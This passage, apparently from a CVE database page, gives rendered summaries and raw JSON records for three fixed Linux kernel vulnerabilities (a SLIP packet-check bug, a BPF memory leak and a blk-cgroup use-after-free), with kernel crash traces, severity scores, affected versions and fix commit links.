          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nslip: make slhc_remember() more robust against malicious packets\n\nsyzbot found that slhc_remember() was missing checks against\nmalicious packets [1].\n\nslhc_remember() only checked the size of the packet was at least 20,\nwhich is not good enough.\n\nWe need to make sure the packet includes the IPv4 and TCP header\nthat are supposed to be carried.\n\nAdd iph and th pointers to make the code more readable.\n\n[1]\n\nBUG: KMSAN: uninit-value in slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666\n  slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666\n  ppp_receive_nonmp_frame+0xe45/0x35e0 drivers/net/ppp/ppp_generic.c:2455\n  ppp_receive_frame drivers/net/ppp/ppp_generic.c:2372 [inline]\n  ppp_do_recv+0x65f/0x40d0 drivers/net/ppp/ppp_generic.c:2212\n  ppp_input+0x7dc/0xe60 drivers/net/ppp/ppp_generic.c:2327\n  pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379\n  sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113\n  __release_sock+0x1da/0x330 net/core/sock.c:3072\n  release_sock+0x6b/0x250 net/core/sock.c:3626\n  pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903\n  sock_sendmsg_nosec net/socket.c:729 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:4091 [inline]\n  slab_alloc_node mm/slub.c:4134 [inline]\n  kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4186\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587\n  __alloc_skb+0x363/0x7b0 net/core/skbuff.c:678\n  alloc_skb include/linux/skbuff.h:1322 [inline]\n  sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732\n  pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867\n  sock_sendmsg_nosec net/socket.c:729 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:744\n  ____sys_sendmsg+0x903/0xb60 net/socket.c:2602\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656\n  __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742\n  __do_sys_sendmmsg net/socket.c:2771 [inline]\n  __se_sys_sendmmsg net/socket.c:2768 [inline]\n  __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768\n  x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nCPU: 0 UID: 0 PID: 5460 Comm: syz.2.33 Not tainted 6.12.0-rc2-syzkaller-00006-g87d6aab2389e #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:11.733Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ba6501ea06462d6404d57d5644cf2854db38e7d7"
        },
        {
          "url": "https://git.kernel.org/stable/c/36b054324d18e51cf466134e13b6fbe3c91f52af"
        },
        {
          "url": "https://git.kernel.org/stable/c/5e336384cc9b608e0551f99c3d87316ca3b0e51a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff5e0f895315706e4ca5a19df15be6866cee4f5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/8bb79eb1db85a10865f0d4dd15b013def3f2d246"
        },
        {
          "url": "https://git.kernel.org/stable/c/29e8d96d44f51cf89a62dd042be35d052833b95c"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d3fce8cbe3a70a1c7c06c9b53696be5d5d8dd5c"
        }
      ],
      "title": "slip: make slhc_remember() more robust against malicious packets",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50033",
    "datePublished": "2024-10-21T19:39:35.127Z",
    "dateReserved": "2024-10-21T12:17:06.069Z",
    "dateUpdated": "2026-05-12T11:59:49.341Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21683 (GCVE-0-2025-21683)

Vulnerability from cvelistv5 – Published: 2025-01-31 11:25 – Updated: 2026-05-12 12:03

Title

bpf: Fix bpf_sk_select_reuseport() memory leak

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Fix bpf_sk_select_reuseport() memory leak As pointed out in the original comment, lookup in sockmap can return a TCP ESTABLISHED socket. Such TCP socket may have had SO_ATTACH_REUSEPORT_EBPF set before it was ESTABLISHED. In other words, a non-NULL sk_reuseport_cb does not imply a non-refcounted socket. Drop sk's reference in both error paths. unreferenced object 0xffff888101911800 (size 2048): comm "test_progs", pid 44109, jiffies 4297131437 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 80 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace (crc 9336483b): __kmalloc_noprof+0x3bf/0x560 __reuseport_alloc+0x1d/0x40 reuseport_alloc+0xca/0x150 reuseport_attach_prog+0x87/0x140 sk_reuseport_attach_bpf+0xc8/0x100 sk_setsockopt+0x1181/0x1990 do_sock_setsockopt+0x12b/0x160 __sys_setsockopt+0x7b/0xc0 __x64_sys_setsockopt+0x1b/0x30 do_syscall_64+0x93/0x180 entry_SYSCALL_64_after_hwframe+0x76/0x7e

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-401 - Missing Release of Memory after Effective Lifetime

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/bb36838dac7bb334a…
https://git.kernel.org/stable/c/0ab52a8ca6e156a64…
https://git.kernel.org/stable/c/d0a3b3d1176d39218…
https://git.kernel.org/stable/c/b02e70be498b138e9…
https://git.kernel.org/stable/c/cccd51dd22574216e…
https://git.kernel.org/stable/c/b3af60928ab9129be…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < bb36838dac7bb334a3f3d7eb29875593ec9473fc (git) Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < 0ab52a8ca6e156a64c51b5e7456cac9a0ebfd9bf (git) Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < d0a3b3d1176d39218b8edb2a2d03164942ab9ccd (git) Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < b02e70be498b138e9c21701c2f33f4018ca7cd5e (git) Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < cccd51dd22574216e64e5d205489e634f86999f3 (git) Affected: 64d85290d79c0677edb5a8ee2295b36c022fa5df , < b3af60928ab9129befa65e6df0310d27300942bf (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21683",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:51:47.465503Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-401",
                "description": "CWE-401 Missing Release of Memory after Effective Lifetime",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:11.105Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:02.244Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:11.754Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bb36838dac7bb334a3f3d7eb29875593ec9473fc",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            },
            {
              "lessThan": "0ab52a8ca6e156a64c51b5e7456cac9a0ebfd9bf",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            },
            {
              "lessThan": "d0a3b3d1176d39218b8edb2a2d03164942ab9ccd",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            },
            {
              "lessThan": "b02e70be498b138e9c21701c2f33f4018ca7cd5e",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            },
            {
              "lessThan": "cccd51dd22574216e64e5d205489e634f86999f3",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            },
            {
              "lessThan": "b3af60928ab9129befa65e6df0310d27300942bf",
              "status": "affected",
              "version": "64d85290d79c0677edb5a8ee2295b36c022fa5df",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix bpf_sk_select_reuseport() memory leak\n\nAs pointed out in the original comment, lookup in sockmap can return a TCP\nESTABLISHED socket. Such TCP socket may have had SO_ATTACH_REUSEPORT_EBPF\nset before it was ESTABLISHED. In other words, a non-NULL sk_reuseport_cb\ndoes not imply a non-refcounted socket.\n\nDrop sk\u0027s reference in both error paths.\n\nunreferenced object 0xffff888101911800 (size 2048):\n  comm \"test_progs\", pid 44109, jiffies 4297131437\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    80 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace (crc 9336483b):\n    __kmalloc_noprof+0x3bf/0x560\n    __reuseport_alloc+0x1d/0x40\n    reuseport_alloc+0xca/0x150\n    reuseport_attach_prog+0x87/0x140\n    sk_reuseport_attach_bpf+0xc8/0x100\n    sk_setsockopt+0x1181/0x1990\n    do_sock_setsockopt+0x12b/0x160\n    __sys_setsockopt+0x7b/0xc0\n    __x64_sys_setsockopt+0x1b/0x30\n    do_syscall_64+0x93/0x180\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:04:25.699Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bb36838dac7bb334a3f3d7eb29875593ec9473fc"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ab52a8ca6e156a64c51b5e7456cac9a0ebfd9bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/d0a3b3d1176d39218b8edb2a2d03164942ab9ccd"
        },
        {
          "url": "https://git.kernel.org/stable/c/b02e70be498b138e9c21701c2f33f4018ca7cd5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/cccd51dd22574216e64e5d205489e634f86999f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3af60928ab9129befa65e6df0310d27300942bf"
        }
      ],
      "title": "bpf: Fix bpf_sk_select_reuseport() memory leak",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21683",
    "datePublished": "2025-01-31T11:25:42.903Z",
    "dateReserved": "2024-12-29T08:45:45.739Z",
    "dateUpdated": "2026-05-12T12:03:11.754Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-56672 (GCVE-0-2024-56672)

Vulnerability from cvelistv5 – Published: 2024-12-27 15:06 – Updated: 2026-05-12 12:01

Title

blk-cgroup: Fix UAF in blkcg_unpin_online()

Summary

In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: Fix UAF in blkcg_unpin_online() blkcg_unpin_online() walks up the blkcg hierarchy putting the online pin. To walk up, it uses blkcg_parent(blkcg) but it was calling that after blkcg_destroy_blkgs(blkcg) which could free the blkcg, leading to the following UAF: ================================================================== BUG: KASAN: slab-use-after-free in blkcg_unpin_online+0x15a/0x270 Read of size 8 at addr ffff8881057678c0 by task kworker/9:1/117 CPU: 9 UID: 0 PID: 117 Comm: kworker/9:1 Not tainted 6.13.0-rc1-work-00182-gb8f52214c61a-dirty #48 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 02/02/2022 Workqueue: cgwb_release cgwb_release_workfn Call Trace: <TASK> dump_stack_lvl+0x27/0x80 print_report+0x151/0x710 kasan_report+0xc0/0x100 blkcg_unpin_online+0x15a/0x270 cgwb_release_workfn+0x194/0x480 process_scheduled_works+0x71b/0xe20 worker_thread+0x82a/0xbd0 kthread+0x242/0x2c0 ret_from_fork+0x33/0x70 ret_from_fork_asm+0x1a/0x30 </TASK> ... Freed by task 1944: kasan_save_track+0x2b/0x70 kasan_save_free_info+0x3c/0x50 __kasan_slab_free+0x33/0x50 kfree+0x10c/0x330 css_free_rwork_fn+0xe6/0xb30 process_scheduled_works+0x71b/0xe20 worker_thread+0x82a/0xbd0 kthread+0x242/0x2c0 ret_from_fork+0x33/0x70 ret_from_fork_asm+0x1a/0x30 Note that the UAF is not easy to trigger as the free path is indirected behind a couple RCU grace periods and a work item execution. I could only trigger it with artifical msleep() injected in blkcg_unpin_online(). Fix it by reading the parent pointer before destroying the blkcg's blkg's.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/83f5a87ee8caa76a9…
https://git.kernel.org/stable/c/8a07350fe070017a8…
https://git.kernel.org/stable/c/64afc6fe24c9896c0…
https://git.kernel.org/stable/c/5baa28569c924d9a9…
https://git.kernel.org/stable/c/29d1e06560f0f6179…
https://git.kernel.org/stable/c/86e6ca55b83c575ab…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 83f5a87ee8caa76a917f59912a74d6811f773c67 (git) Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 8a07350fe070017a887433f4d6909433955be5f1 (git) Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 64afc6fe24c9896c0153e5a199bcea241ecb0d5c (git) Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 5baa28569c924d9a90d036c2aaab79f791fedaf8 (git) Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 29d1e06560f0f6179062ac638b4064deb637d1ad (git) Affected: 4308a434e5e08c78676aa66bc626ef78cbef0883 , < 86e6ca55b83c575ab0f2e105cf08f98e58d3d7af (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.121 , ≤ 6.1.* (semver) Unaffected: 6.6.67 , ≤ 6.6.* (semver) Unaffected: 6.12.6 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-56672",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-10T17:12:31.915249Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-10T17:21:07.331Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:52:20.150Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:24.932Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/blk-cgroup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "83f5a87ee8caa76a917f59912a74d6811f773c67",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            },
            {
              "lessThan": "8a07350fe070017a887433f4d6909433955be5f1",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            },
            {
              "lessThan": "64afc6fe24c9896c0153e5a199bcea241ecb0d5c",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            },
            {
              "lessThan": "5baa28569c924d9a90d036c2aaab79f791fedaf8",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            },
            {
              "lessThan": "29d1e06560f0f6179062ac638b4064deb637d1ad",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            },
            {
              "lessThan": "86e6ca55b83c575ab0f2e105cf08f98e58d3d7af",
              "status": "affected",
              "version": "4308a434e5e08c78676aa66bc626ef78cbef0883",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/blk-cgroup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.121",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.67",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.121",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.67",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.6",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-cgroup: Fix UAF in blkcg_unpin_online()\n\nblkcg_unpin_online() walks up the blkcg hierarchy putting the online pin. To\nwalk up, it uses blkcg_parent(blkcg) but it was calling that after\nblkcg_destroy_blkgs(blkcg) which could free the blkcg, leading to the\nfollowing UAF:\n\n  ==================================================================\n  BUG: KASAN: slab-use-after-free in blkcg_unpin_online+0x15a/0x270\n  Read of size 8 at addr ffff8881057678c0 by task kworker/9:1/117\n\n  CPU: 9 UID: 0 PID: 117 Comm: kworker/9:1 Not tainted 6.13.0-rc1-work-00182-gb8f52214c61a-dirty #48\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 02/02/2022\n  Workqueue: cgwb_release cgwb_release_workfn\n  Call Trace:\n   \u003cTASK\u003e\n   dump_stack_lvl+0x27/0x80\n   print_report+0x151/0x710\n   kasan_report+0xc0/0x100\n   blkcg_unpin_online+0x15a/0x270\n   cgwb_release_workfn+0x194/0x480\n   process_scheduled_works+0x71b/0xe20\n   worker_thread+0x82a/0xbd0\n   kthread+0x242/0x2c0\n   ret_from_fork+0x33/0x70\n   ret_from_fork_asm+0x1a/0x30\n   \u003c/TASK\u003e\n  ...\n  Freed by task 1944:\n   kasan_save_track+0x2b/0x70\n   kasan_save_free_info+0x3c/0x50\n   __kasan_slab_free+0x33/0x50\n   kfree+0x10c/0x330\n   css_free_rwork_fn+0xe6/0xb30\n   process_scheduled_works+0x71b/0xe20\n   worker_thread+0x82a/0xbd0\n   kthread+0x242/0x2c0\n   ret_from_fork+0x33/0x70\n   ret_from_fork_asm+0x1a/0x30\n\nNote that the UAF is not easy to trigger as the free path is indirected\nbehind a couple RCU grace periods and a work item execution. I could only\ntrigger it with artifical msleep() injected in blkcg_unpin_online().\n\nFix it by reading the parent pointer before destroying the blkcg\u0027s blkg\u0027s."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:57:01.673Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/83f5a87ee8caa76a917f59912a74d6811f773c67"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a07350fe070017a887433f4d6909433955be5f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/64afc6fe24c9896c0153e5a199bcea241ecb0d5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/5baa28569c924d9a90d036c2aaab79f791fedaf8"
        },
        {
          "url": "https://git.kernel.org/stable/c/29d1e06560f0f6179062ac638b4064deb637d1ad"
        },
        {
          "url": "https://git.kernel.org/stable/c/86e6ca55b83c575ab0f2e105cf08f98e58d3d7af"
        }
      ],
      "title": "blk-cgroup: Fix UAF in blkcg_unpin_online()",
      "x_generator": {
